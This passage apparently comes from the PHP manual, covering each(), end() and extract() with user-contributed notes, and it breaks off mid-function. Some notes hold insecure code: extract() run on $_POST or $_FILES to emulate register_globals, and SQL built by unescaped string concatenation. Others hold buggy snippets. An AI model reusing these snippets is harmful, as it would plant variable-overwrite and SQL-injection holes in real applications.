$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
    print "A match was found in $key.<br />";
} else {
    print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
13-Feb-2002 01:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
      echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de 29-Jan-2001 08:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com 25-Oct-2000 10:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.


Set the internal pointer of an array to its last element

  • « each
  • extract »
  • PHP Manual
  • Array Functions
  • Set the internal pointer of an array to its last element

end

(PHP 4, PHP 5)

end — Set the internal pointer of an array to its last element

Description

mixed end ( array &$array )

end() advances array's internal pointer to the last element, and returns its value.

Parameters

array

The array. This array is passed by reference because it is modified by the function. This means you must pass it a real variable and not a function returning an array because only actual variables may be passed by reference.

Return Values

Returns the value of the last element or FALSE for empty array.

Examples

Example #1 end() example

<?php

$fruits = array('apple', 'banana', 'cranberry');
echo end($fruits); // cranberry

?>

See Also

  • current() - Return the current element in an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array

User Contributed Notes

ivijan dot stefan at gmail dot com 09-May-2014 01:47
I found that the function end() is the best for finding extensions  on file name. This function cleans backslashes and takes the extension of a file.

<?php
private function extension($str){
    $str=implode("",explode("\\",$str));
    $str=explode(".",$str);
    $str=strtolower(end($str));
     return $str;
}

// EXAMPLE:
$file='name-Of_soMe.File.txt';
echo extension($file); // txt
?>

Very simple.
Jason 18-Mar-2013 07:37
$filename = 'somefile.jpg';

php v5.4 does not support the following statement.
echo end(explode(".", $filename)); // return jpg string

instead you have to split into 2 statements
$file = explode(".", $filename);
echo end ($file);
jorge at REMOVETHIS-2upmedia dot com 01-Mar-2012 10:20
If all you want is the last item of the array without affecting the internal array pointer just do the following:

<?php

function endc( $array ) { return end( $array ); }

$items = array( 'one', 'two', 'three' );
$lastItem = endc( $items ); // three
$current = current( $items ); // one
?>

This works because the parameter to the function is being sent as a copy, not as a reference to the original variable.
franz at develophp dot org 02-Dec-2010 12:06
It's interesting to note that when creating an array with numeric keys in no particular order, end() will still only return the value that was the last one to be created. So, if you have something like this:

    <?php
    $a = array();
    $a[1] = 1;
    $a[0] = 0;
    echo end($a);
    ?>

This will print "0".
laurence at crazypillstudios dot com 07-Jun-2010 11:12
this is a function to move items in an array up or down in the array. it is done by breaking the array into two separate arrays and then have a loop creates the final array adding the item we want to move when the counter is equal to the new position we established the array key, position and direction were passed via a query string

<?php
//parameters
//$array- the array you are modifying
//$keytomove - the key of the item you wish to move
//$pos - the current position of the item: used a count($array) function
//and then loop with incrementing integer to add the position to the up //or down button
//$dir - the direction you want to move it - "up"/"dn"

function change_pos($array, $keytomove, $pos, $dir){
    //count the original number of rows
    $count = count($array);
    //set the integer we will use to place the moved item
    if($dir=="up"){
        if($pos==1){
            //if the item is already first and we try moving it up
            //we send it to the end of the array
            $change = $count;
        }else{
            //anywhere else it just moves back one closer to the start of the array
            $change = $pos-1;
        }
    }
    //do the same for the down button
    if($dir=="dn"){
        if($pos==$count){
            $change = 1;
        }else{
            $change = $pos+1;
        }
    }
    //copy the element that you wish to move
    $move = $array[$keytomove];
    //delete the original from the main array
    unset($array[$keytomove]);
    //create an array of the names of the values we
    //are not moving
    $preint = 1;
    foreach($array as $c){
        $notmoved["{$preint}"] = $c['name'];
    $preint++;
    }
    //loop through all the elements
    $int = 1;
    while($int<=$count){
        //dynamically change the key of the unmoved item as we increment the counter
        $notmovedkey = $notmoved["$int"];
        //when the counter is equal to the position we want
        //to place the moved entry we pump it into a new array
        if($int==$change){
            $neworder["{$keytomove}"] = $move;
        }
        //add all the other array items if the position number is not met and
        //resume adding them once the moved item is written
        if($contkey!=""){
            $neworder["{$notmovedkey}"] = $array["{$notmovedkey}"];
        }
    $int++;
    }

    return($neworder);
}
?>

This is not too elegant but it works.
Sam Yong - hellclanner at live dot com 24-Aug-2009 02:05
Take note that end() does not recursively set your multiple dimension arrays' pointer to the end.

Take a look at the following:
<?php

// create the array for testing
$a = array();
$i = 0;
while($i++ < 3){
$a[] = array(dechex(crc32(mt_rand())),dechex(crc32('lol'.mt_rand())));
}

// show the array tree
echo '<pre>';var_dump($a);

// set the pointer of $a to the end
end($a);

// get the current element of $a
var_dump(current($a));
// get the current element of the current element of $a
var_dump(current(current($a)));

?>

You will notice that you probably get something like this:

array(3) {
  [0]=>
  array(2) {
    [0]=>
    string(8) "764d8d20"
    [1]=>
    string(8) "85ee186d"
  }
  [1]=>
  array(2) {
    [0]=>
    string(8) "c8c72466"
    [1]=>
    string(8) "a0fdccb2"
  }
  [2]=>
  array(2) {
    [0]=>
    string(8) "3463a31b"
    [1]=>
    string(8) "589f6b63"
  }
}

array(2) {
  [0]=>
  string(8) "3463a31b"
  [1]=>
  string(8) "589f6b63"
}

string(8) "3463a31b"

The array elements' pointer are still at the first one as current. So do take note.
jasper at jtey dot com 11-Jul-2006 09:48
This function returns the value at the end of the array, but you may sometimes be interested in the key at the end of the array, particularly when working with non integer indexed arrays:

<?php
// Returns the key at the end of the array
function endKey($array){
 end($array);
 return key($array);
}
?>

Usage example:
<?php
$a = array("one" => "apple", "two" => "orange", "three" => "pear");
echo endKey($a); // will output "three"
?>
ken at expitrans dot com 27-Oct-2005 06:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
29-Aug-2002 03:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

<?php
function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
?>
29-Aug-2002 03:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

<?php
function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
?>


Import variables into the current symbol table from an array

  • « end
  • in_array »
  • PHP Manual
  • Array Functions
  • Import variables into the current symbol table from an array

extract

(PHP 4, PHP 5)

extract — Import variables into the current symbol table from an array

Description

int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

Import variables from an array into the current symbol table.

Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.

Parameters

array

An associative array. This function treats keys as variable names and values as variable values. For each key/value pair it will create a variable in the current symbol table, subject to flags and prefix parameters.

You must use an associative array; a numerically indexed array will not produce results unless you use EXTR_PREFIX_ALL or EXTR_PREFIX_INVALID.

flags

The way invalid/numeric keys and collisions are treated is determined by the extraction flags. It can be one of the following values:

EXTR_OVERWRITE
If there is a collision, overwrite the existing variable.
EXTR_SKIP
If there is a collision, don't overwrite the existing variable.
EXTR_PREFIX_SAME
If there is a collision, prefix the variable name with prefix.
EXTR_PREFIX_ALL
Prefix all variable names with prefix.
EXTR_PREFIX_INVALID
Only prefix invalid/numeric variable names with prefix.
EXTR_IF_EXISTS
Only overwrite the variable if it already exists in the current symbol table, otherwise do nothing. This is useful for defining a list of valid variables and then extracting only those variables you have defined out of $_REQUEST, for example.
EXTR_PREFIX_IF_EXISTS
Only create prefixed variable names if the non-prefixed version of the same variable exists in the current symbol table.
EXTR_REFS
Extracts variables as references. This effectively means that the values of the imported variables are still referencing the values of the array parameter. You can use this flag on its own or combine it with any other flag by OR'ing the flags.

If flags is not specified, it is assumed to be EXTR_OVERWRITE.

prefix

Note that prefix is only required if flags is EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID or EXTR_PREFIX_IF_EXISTS. If the prefixed result is not a valid variable name, it is not imported into the symbol table. Prefixes are automatically separated from the array key by an underscore character.

Return Values

Returns the number of variables successfully imported into the symbol table.

Examples

Example #1 extract() example

A possible use for extract() is to import into the symbol table variables contained in an associative array returned by wddx_deserialize().

<?php

/* Suppose that $var_array is an array returned from
   wddx_deserialize */

$size = "large";
$var_array = array("color" => "blue",
                   "size"  => "medium",
                   "shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

The above example will output:

blue, large, sphere, medium

The $size wasn't overwritten because we specified EXTR_PREFIX_SAME, which resulted in $wddx_size being created. If EXTR_SKIP was specified, then $wddx_size wouldn't even have been created. EXTR_OVERWRITE would have caused $size to have value "medium", and EXTR_PREFIX_ALL would result in new variables being named $wddx_color, $wddx_size, and $wddx_shape.

Notes

Warning

Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.). If you do, for example if you want to run old code that relies on register_globals temporarily, make sure you use one of the non-overwriting flags values such as EXTR_SKIP and be aware that you should extract in the same order that's defined in variables_order within the php.ini.

Note:

If you have register_globals turned on and you use extract() on $_FILES and specify EXTR_SKIP, you may be surprised at the results.

Warning

This is not recommended practice and is only documented here for completeness. The use of register_globals is deprecated and calling extract() on untrusted data such as $_FILES is, as noted above, a potential security risk. If you encounter this issue, it means that you are using at least two poor coding practices.

<?php

/* Suppose that $testfile is the name of a file upload input
   and that register_globals is turned on. */

var_dump($testfile);
extract($_FILES, EXTR_SKIP);
var_dump($testfile);
var_dump($testfile['tmp_name']);

?>
You might expect to see something like the following:
string(14) "/tmp/phpgCCPX8"
array(5) {
  ["name"]=>
  string(10) "somefile.txt"
  ["type"]=>
  string(24) "application/octet-stream"
  ["tmp_name"]=>
  string(14) "/tmp/phpgCCPX8"
  ["error"]=>
  int(0)
  ["size"]=>
  int(4208)
}
string(14) "/tmp/phpgCCPX8"
However, you would instead see something like this:
string(14) "/tmp/phpgCCPX8"
string(14) "/tmp/phpgCCPX8"
string(1) "/"

This is due to the fact that since register_globals is turned on, $testfile already exists in the global scope when extract() is called. And since EXTR_SKIP is specified, $testfile is not overwritten with the contents of the $_FILES array so $testfile remains a string. Because strings may be accessed using array syntax and the non-numeric string tmp_name is interpreted as 0, PHP sees $testfile['tmp_name'] as $testfile[0].

See Also

  • compact() - Create array containing variables and their values
  • list() - Assign variables as if they were an array

User Contributed Notes

dmikam 18-Sep-2014 07:18
I have made some tests to compare the speed of next constructions:
<?php

extract($ARRAY);

// vs.

foreach($ARRAY as $key=>$value)
    $$key = $value;
?>

Surprisingly for me extract is 20%-80% slower then foreach construction. I don't really understand why, but it's so.
CertaiN 11-Jan-2014 01:38
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 11-Jan-2014 01:37
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
FredLawl 13-May-2013 11:56
It is possible to use this as a way to create public attributes for a class.

<?php
class Foo {

  public function __construct ($array) {

      extract($array, EXTR_REFS);
      foreach ($array as $key => $value) {
          $this->$key = $$key;
          // Do: $this->key = $key; if $key is not a string.
      }

  }

}

$array = array(
    'valueOne'      => 'Test Value 1',
    'valueTwo'      => 'Test Value 2',
    'valueThree'    => 'Test Value 3'
);

$foo = new Foo($array);

// Works
echo $foo->valueOne; // Test Value 1
echo $foo->valueTwo; // Test Value 2

// Does not work!
echo $foo::$valueOne; // Fatal error:  Access to undeclared static property: Test::$valueOne
?>
dotslash.lu at gmail.com 29-Apr-2013 09:55
You can't extract a numeric indexed array(e.g. non-assoc array).
<?php
$a = array(
  1,
  2
);
extract($a);
var_dump(${1});
?>

result:
PHP Notice:  Undefined variable: 1 in /Users/Lutashi/t.php on line 7

Notice: Undefined variable: 1 in /Users/Lutashi/t.php on line 7
NULL
Robc 01-Nov-2011 03:30
When extracting from a row after a database query using for example:

$row = mysql_fetch_array($result, MYSQL_ASSOC)
extract($row);

I find that the resultant variables may not match the variable type in the database.  In particular I have found integers in the database may gettype() to string on the extracted variable.
Rodrigo 16-Jun-2010 06:41
Here's a way to use extract in $_FILES arrays without using register_gloabals on.

I started to use extract a few weeks ago, and my codes hasn't been so clean since then. The use of the arrays $_POST and $_GET is ok, but one missed doublequote causes a lot of trouble.

Besides I teach PHP in a school, and this function has made my examples easier.

<?php
if(isset($_FILES["file"])){
    extract($_FILES);
    extract($file);
    echo $name."<br>";
    echo $tmp_name."<br>";
    echo $size."<br>";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <p>
    <input type="file" name="file">
</p>
  <p>
    <input type="submit" name="Submit" value="Enviar">
</p>
</form>
</body>
</html>

Hope this can help anyone.
auto493097 at hushmail dot com 23-Feb-2010 07:07
I use XDebug with NetbeansIDE to for analyzing and developing PHP Code. When debugging an extract statement no new variables appeared in the variable's list. Although all variables created by extract could be examined by explicit watch items and single variables appeared as soon as an PHP script makes use of them I am not sure weather it is a wrong configuration, a feature or a bug in XDebug.
danbettles at yahoo dot co dot uk 24-Aug-2009 01:04
When using EXTR_PREFIX_ALL - and probably all the other EXTR_PREFIX_* constants - and a numerically-indexed array, extract() will add an underscore ("_") between the prefix and the index.

<?php

extract(array('foo', 'bar'), EXTR_PREFIX_ALL, 'var');

print_r(get_defined_vars());  // Reveals $var_0 = 'foo' and $var_1 = 'bar'
?>
benjaminATwebbutvecklarnaDOTse 17-Mar-2008 04:15
In the meantime, I'm using this:

// extract alternative
# extracts variables where new value is above the threshold or if old value is on or below the threshold (or var is not defined)
# an associative array is obviously the sane thing to pass
#
# I am absolutely certain someone will find obvious problems or errors with this
# I haven't even tried to compare other values than 0 so if you need to do that and surely finds obvious flaws,
# please mail me, I'd really like to know.
# benjaminATwebbutvecklarnaDOTse

// usage example:
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM site_preset WHERE ID = $site_id")));
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM category_preset WHERE ID = $category_id")));

function thrextract($arr,$thr = 0){
    foreach($arr as $key => $var){
        global $$key;
        if($var > $thr or $$key <= $thr) $$key = $var;
    }
}
benjaminATwebbutvecklarnaDOTse 17-Mar-2008 03:19
Re: anon at anon dot org, about extract() and null values

Personally I've found use extracting multiple resultsets from db where the latter would overwrite the previous when a variable is not null ( and optionally if its not >0 )

It would be useful if $extract_type was extended on top of these two:

EXTR_OVERWRITE
EXTR_SKIP

with something like this:

EXTR_OVERWRITE_NULL
 - If there is a collision, overwrite the existing variable if it is null

EXTR_OVERWRITE_0
 - Same thing but == 0 or null

EXTR_SKIP_NULL
 - If there is a collision, skip the new variable if the existing is not null

EXTR_SKIP_0
 - Same thing but == 0 or null

Those ought to cover a few good cases that aren't covered now.
Hayley Watson 14-Mar-2008 12:18
Dan O'Donnell's suggestion needs a third requirement to work as described:

c) No other variables are defined - especially variables that contain potentially sensitive information.

Without that condition the difference between extract() and assigning variables by hand (and the resulting security implications) should be obvious.

The only valid security step there is (b) - but you should be doing that anyway.
Dan O'Donnell 21-Apr-2007 09:25
Following up on ktwombley at gmail dot com's post:

Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure

a) your define acceptable input variables beforehand (i.e. as empty variables)
b) Sanitise any user input to avoid unacceptable variable content.

If you do these two things, then I'm not sure I see the difference between extract($_REQUEST,EXTR_IF_EXISTS); and assigning each of the variables by hand.

I'm not talking here about the idea of storing the variables in a database, just the immediately necessary steps to allow you to use extract on REQUEST arrays with relative safety.
Dutchdavey 13-Mar-2007 09:26
I would draw your attention to the user note at the very end of this page regarding PREFIXES. The user points out that php adds a '_' to your prefixes.
ktwombley at gmail dot com 31-Aug-2006 07:05
It's really easy to open gaping security holes using extract() on $_REQUEST, $_GET, etc. You have to be really sure of what you're doing, and use the proper flags on extract() to avoid clobbering important variables.

For instance, the submission by kake26 at gmail dot com will not only perfectly emulate register globals (that's bad), but it'll store it in a database and recall the same variables every time the script runs (essentially allowing an attacker to attack your script every time it runs via one attack). Oops!

To fix it, you'd have to get creative with flags. Maybe you could use EXTR_PREFIX_ALL instead of EXTR_OVERWRITE, for example. Of course, you should also sanitize the form elements to ensure there's no php code in them, and also to make sure any very important variables aren't in the form data. (like the classic $is_admin = true attack)
nicolas zeh 16-Mar-2006 06:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
    if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
    if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
    if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
    if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
    if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

    function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

        if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

        if( is_array( $to ) ) $t=0;
        else if( is_object( $to ) ) $t=1;
        else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

        if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
            if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
            else $prefix .= '_';

        $i=0;
        foreach( $arr as $key=>$val ){

            $nkey = $key;
            $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

            if( ( $type==EXTR_SKIP && $isset )
                || ( $type==EXTR_IF_EXISTS && !$isset ) )
                    continue;

            else if( ( $type==EXTR_PREFIX_SAME && $isset )
                || ( $type==EXTR_PREFIX_ALL )
                || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                    $nkey = $prefix.$key;

            else if( $type==EXTR_PREFIX_IF_EXISTS )
                if( $isset ) $nkey = $prefix.$key;
                else continue;

            if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

            if( $t==1 )
                if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
                else $to->$nkey = $val;
            else
                if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
                else $to[$nkey] = $val;

            $i++;
        }

        return $i;
    }

    // e.g.:
    extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org 08-Mar-2006 01:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
    foreach ($V as $k => &$v) {
        $$k =& $v;
    }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
    function free_args (&$V) {
        foreach ($V as $k => &$v) {
            $$k =& $v;
        }
        unset ($k);  unset ($v);  unset ($V);

        // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
    }

    $huge_text = '...';

    $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
    free_args ($a);
?>
Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m 20-Jan-2006 10:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu 27-Nov-2005 08:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org 30-May-2005 09:02
A warning about extract() and null values.

This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
    extract(get_object_vars($this),EXTR_REFS);
    ob_start(); include $this->templateFileName;
    return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com 01-May-2005 05:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com 14-Mar-2005 11:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
    /**
     *  Is the array really an array?
     */
    if (!is_array ($array))
    {
        return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
    }

    /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
